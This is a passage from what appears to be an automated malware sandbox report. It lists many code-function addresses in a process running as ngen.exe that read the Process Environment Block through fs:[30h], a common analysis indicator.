Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575D7B0 mov eax, dword ptr fs:[00000030h] 5_2_0575D7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F7BA mov eax, dword ptr fs:[00000030h] 5_2_0572F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F7BA mov eax, dword ptr fs:[00000030h] 5_2_0572F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F7BA mov eax, dword ptr fs:[00000030h] 5_2_0572F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F7BA mov eax, dword ptr fs:[00000030h] 5_2_0572F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F7BA mov eax, dword ptr fs:[00000030h] 5_2_0572F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F7BA mov eax, dword ptr fs:[00000030h] 5_2_0572F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F7BA mov eax, dword ptr fs:[00000030h] 5_2_0572F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F7BA mov eax, dword ptr fs:[00000030h] 5_2_0572F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F7BA mov eax, dword ptr fs:[00000030h] 5_2_0572F7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05803749 mov eax, dword ptr fs:[00000030h] 5_2_05803749
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B97A9 mov eax, dword ptr fs:[00000030h] 5_2_057B97A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057BF7AF mov eax, dword ptr fs:[00000030h] 5_2_057BF7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057BF7AF mov eax, dword ptr fs:[00000030h] 5_2_057BF7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057BF7AF mov eax, dword ptr fs:[00000030h] 5_2_057BF7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057BF7AF mov eax, dword ptr fs:[00000030h] 5_2_057BF7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057BF7AF mov eax, dword ptr fs:[00000030h] 5_2_057BF7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057307AF mov eax, dword ptr fs:[00000030h] 5_2_057307AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057EF78A mov eax, dword ptr fs:[00000030h] 5_2_057EF78A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05762674 mov eax, dword ptr fs:[00000030h] 5_2_05762674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F866E mov eax, dword ptr fs:[00000030h] 5_2_057F866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F866E mov eax, dword ptr fs:[00000030h] 5_2_057F866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576A660 mov eax, dword ptr fs:[00000030h] 5_2_0576A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576A660 mov eax, dword ptr fs:[00000030h] 5_2_0576A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05769660 mov eax, dword ptr fs:[00000030h] 5_2_05769660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05769660 mov eax, dword ptr fs:[00000030h] 5_2_05769660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574C640 mov eax, dword ptr fs:[00000030h] 5_2_0574C640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574E627 mov eax, dword ptr fs:[00000030h] 5_2_0574E627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F626 mov eax, dword ptr fs:[00000030h] 5_2_0572F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F626 mov eax, dword ptr fs:[00000030h] 5_2_0572F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F626 mov eax, dword ptr fs:[00000030h] 5_2_0572F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F626 mov eax, dword ptr fs:[00000030h] 5_2_0572F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F626 mov eax, dword ptr fs:[00000030h] 5_2_0572F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F626 mov eax, dword ptr fs:[00000030h] 5_2_0572F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F626 mov eax, dword ptr fs:[00000030h] 5_2_0572F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F626 mov eax, dword ptr fs:[00000030h] 5_2_0572F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F626 mov eax, dword ptr fs:[00000030h] 5_2_0572F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05766620 mov eax, dword ptr fs:[00000030h] 5_2_05766620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05768620 mov eax, dword ptr fs:[00000030h] 5_2_05768620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573262C mov eax, dword ptr fs:[00000030h] 5_2_0573262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05733616 mov eax, dword ptr fs:[00000030h] 5_2_05733616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05733616 mov eax, dword ptr fs:[00000030h] 5_2_05733616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772619 mov eax, dword ptr fs:[00000030h] 5_2_05772619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05761607 mov eax, dword ptr fs:[00000030h] 5_2_05761607
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AE609 mov eax, dword ptr fs:[00000030h] 5_2_057AE609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576F603 mov eax, dword ptr fs:[00000030h] 5_2_0576F603
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574260B mov eax, dword ptr fs:[00000030h] 5_2_0574260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574260B mov eax, dword ptr fs:[00000030h] 5_2_0574260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574260B mov eax, dword ptr fs:[00000030h] 5_2_0574260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574260B mov eax, dword ptr fs:[00000030h] 5_2_0574260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574260B mov eax, dword ptr fs:[00000030h] 5_2_0574260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574260B mov eax, dword ptr fs:[00000030h] 5_2_0574260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574260B mov eax, dword ptr fs:[00000030h] 5_2_0574260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AE6F2 mov eax, dword ptr fs:[00000030h] 5_2_057AE6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AE6F2 mov eax, dword ptr fs:[00000030h] 5_2_057AE6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AE6F2 mov eax, dword ptr fs:[00000030h] 5_2_057AE6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AE6F2 mov eax, dword ptr fs:[00000030h] 5_2_057AE6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B06F1 mov eax, dword ptr fs:[00000030h] 5_2_057B06F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B06F1 mov eax, dword ptr fs:[00000030h] 5_2_057B06F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057ED6F0 mov eax, dword ptr fs:[00000030h] 5_2_057ED6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C36EE mov eax, dword ptr fs:[00000030h] 5_2_057C36EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C36EE mov eax, dword ptr fs:[00000030h] 5_2_057C36EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C36EE mov eax, dword ptr fs:[00000030h] 5_2_057C36EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C36EE mov eax, dword ptr fs:[00000030h] 5_2_057C36EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C36EE mov eax, dword ptr fs:[00000030h] 5_2_057C36EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C36EE mov eax, dword ptr fs:[00000030h] 5_2_057C36EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575D6E0 mov eax, dword ptr fs:[00000030h] 5_2_0575D6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575D6E0 mov eax, dword ptr fs:[00000030h] 5_2_0575D6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576A6C7 mov ebx, dword ptr fs:[00000030h] 5_2_0576A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576A6C7 mov eax, dword ptr fs:[00000030h] 5_2_0576A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573B6C0 mov eax, dword ptr fs:[00000030h] 5_2_0573B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573B6C0 mov eax, dword ptr fs:[00000030h] 5_2_0573B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573B6C0 mov eax, dword ptr fs:[00000030h] 5_2_0573B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573B6C0 mov eax, dword ptr fs:[00000030h] 5_2_0573B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573B6C0 mov eax, dword ptr fs:[00000030h] 5_2_0573B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573B6C0 mov eax, dword ptr fs:[00000030h] 5_2_0573B6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F16CC mov eax, dword ptr fs:[00000030h] 5_2_057F16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F16CC mov eax, dword ptr fs:[00000030h] 5_2_057F16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F16CC mov eax, dword ptr fs:[00000030h] 5_2_057F16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F16CC mov eax, dword ptr fs:[00000030h] 5_2_057F16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05805636 mov eax, dword ptr fs:[00000030h] 5_2_05805636
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057EF6C7 mov eax, dword ptr fs:[00000030h] 5_2_057EF6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057616CF mov eax, dword ptr fs:[00000030h] 5_2_057616CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057276B2 mov eax, dword ptr fs:[00000030h] 5_2_057276B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057276B2 mov eax, dword ptr fs:[00000030h] 5_2_057276B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057276B2 mov eax, dword ptr fs:[00000030h] 5_2_057276B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057666B0 mov eax, dword ptr fs:[00000030h] 5_2_057666B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576C6A6 mov eax, dword ptr fs:[00000030h] 5_2_0576C6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572D6AA mov eax, dword ptr fs:[00000030h] 5_2_0572D6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572D6AA mov eax, dword ptr fs:[00000030h] 5_2_0572D6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05734690 mov eax, dword ptr fs:[00000030h] 5_2_05734690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05734690 mov eax, dword ptr fs:[00000030h] 5_2_05734690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B368C mov eax, dword ptr fs:[00000030h] 5_2_057B368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B368C mov eax, dword ptr fs:[00000030h] 5_2_057B368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B368C mov eax, dword ptr fs:[00000030h] 5_2_057B368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B368C mov eax, dword ptr fs:[00000030h] 5_2_057B368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 mov eax, dword ptr fs:[00000030h] 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C9179 mov eax, dword ptr fs:[00000030h] 5_2_057C9179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05737152 mov eax, dword ptr fs:[00000030h] 5_2_05737152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572C156 mov eax, dword ptr fs:[00000030h] 5_2_0572C156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05736154 mov eax, dword ptr fs:[00000030h] 5_2_05736154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05736154 mov eax, dword ptr fs:[00000030h] 5_2_05736154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C4144 mov eax, dword ptr fs:[00000030h] 5_2_057C4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C4144 mov eax, dword ptr fs:[00000030h] 5_2_057C4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C4144 mov ecx, dword ptr fs:[00000030h] 5_2_057C4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C4144 mov eax, dword ptr fs:[00000030h] 5_2_057C4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C4144 mov eax, dword ptr fs:[00000030h] 5_2_057C4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05729148 mov eax, dword ptr fs:[00000030h] 5_2_05729148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05729148 mov eax, dword ptr fs:[00000030h] 5_2_05729148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05729148 mov eax, dword ptr fs:[00000030h] 5_2_05729148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05729148 mov eax, dword ptr fs:[00000030h] 5_2_05729148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05731131 mov eax, dword ptr fs:[00000030h] 5_2_05731131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05731131 mov eax, dword ptr fs:[00000030h] 5_2_05731131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572B136 mov eax, dword ptr fs:[00000030h] 5_2_0572B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572B136 mov eax, dword ptr fs:[00000030h] 5_2_0572B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572B136 mov eax, dword ptr fs:[00000030h] 5_2_0572B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572B136 mov eax, dword ptr fs:[00000030h] 5_2_0572B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_058051CB mov eax, dword ptr fs:[00000030h] 5_2_058051CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05760124 mov eax, dword ptr fs:[00000030h] 5_2_05760124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DA118 mov ecx, dword ptr fs:[00000030h] 5_2_057DA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DA118 mov eax, dword ptr fs:[00000030h] 5_2_057DA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DA118 mov eax, dword ptr fs:[00000030h] 5_2_057DA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DA118 mov eax, dword ptr fs:[00000030h] 5_2_057DA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_058061E5 mov eax, dword ptr fs:[00000030h] 5_2_058061E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F0115 mov eax, dword ptr fs:[00000030h] 5_2_057F0115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057601F8 mov eax, dword ptr fs:[00000030h] 5_2_057601F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057551EF mov eax, dword ptr fs:[00000030h] 5_2_057551EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057551EF mov eax, dword ptr fs:[00000030h] 5_2_057551EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057551EF mov eax, dword ptr fs:[00000030h] 5_2_057551EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057551EF mov eax, dword ptr fs:[00000030h] 5_2_057551EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057551EF mov eax, dword ptr fs:[00000030h] 5_2_057551EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057551EF mov eax, dword ptr fs:[00000030h] 5_2_057551EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057551EF mov eax, dword ptr fs:[00000030h] 5_2_057551EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057551EF mov eax, dword ptr fs:[00000030h] 5_2_057551EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057551EF mov eax, dword ptr fs:[00000030h] 5_2_057551EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057551EF mov eax, dword ptr fs:[00000030h] 5_2_057551EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057551EF mov eax, dword ptr fs:[00000030h] 5_2_057551EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057551EF mov eax, dword ptr fs:[00000030h] 5_2_057551EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057551EF mov eax, dword ptr fs:[00000030h] 5_2_057551EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057351ED mov eax, dword ptr fs:[00000030h] 5_2_057351ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576D1D0 mov eax, dword ptr fs:[00000030h] 5_2_0576D1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576D1D0 mov ecx, dword ptr fs:[00000030h] 5_2_0576D1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AE1D0 mov eax, dword ptr fs:[00000030h] 5_2_057AE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AE1D0 mov eax, dword ptr fs:[00000030h] 5_2_057AE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AE1D0 mov ecx, dword ptr fs:[00000030h] 5_2_057AE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AE1D0 mov eax, dword ptr fs:[00000030h] 5_2_057AE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AE1D0 mov eax, dword ptr fs:[00000030h] 5_2_057AE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F61C3 mov eax, dword ptr fs:[00000030h] 5_2_057F61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F61C3 mov eax, dword ptr fs:[00000030h] 5_2_057F61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574B1B0 mov eax, dword ptr fs:[00000030h] 5_2_0574B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05805152 mov eax, dword ptr fs:[00000030h] 5_2_05805152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057E11A4 mov eax, dword ptr fs:[00000030h] 5_2_057E11A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057E11A4 mov eax, dword ptr fs:[00000030h] 5_2_057E11A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057E11A4 mov eax, dword ptr fs:[00000030h] 5_2_057E11A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057E11A4 mov eax, dword ptr fs:[00000030h] 5_2_057E11A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B019F mov eax, dword ptr fs:[00000030h] 5_2_057B019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B019F mov eax, dword ptr fs:[00000030h] 5_2_057B019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B019F mov eax, dword ptr fs:[00000030h] 5_2_057B019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B019F mov eax, dword ptr fs:[00000030h] 5_2_057B019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572A197 mov eax, dword ptr fs:[00000030h] 5_2_0572A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572A197 mov eax, dword ptr fs:[00000030h] 5_2_0572A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572A197 mov eax, dword ptr fs:[00000030h] 5_2_0572A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05787190 mov eax, dword ptr fs:[00000030h] 5_2_05787190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05770185 mov eax, dword ptr fs:[00000030h] 5_2_05770185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057EC188 mov eax, dword ptr fs:[00000030h] 5_2_057EC188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057EC188 mov eax, dword ptr fs:[00000030h] 5_2_057EC188
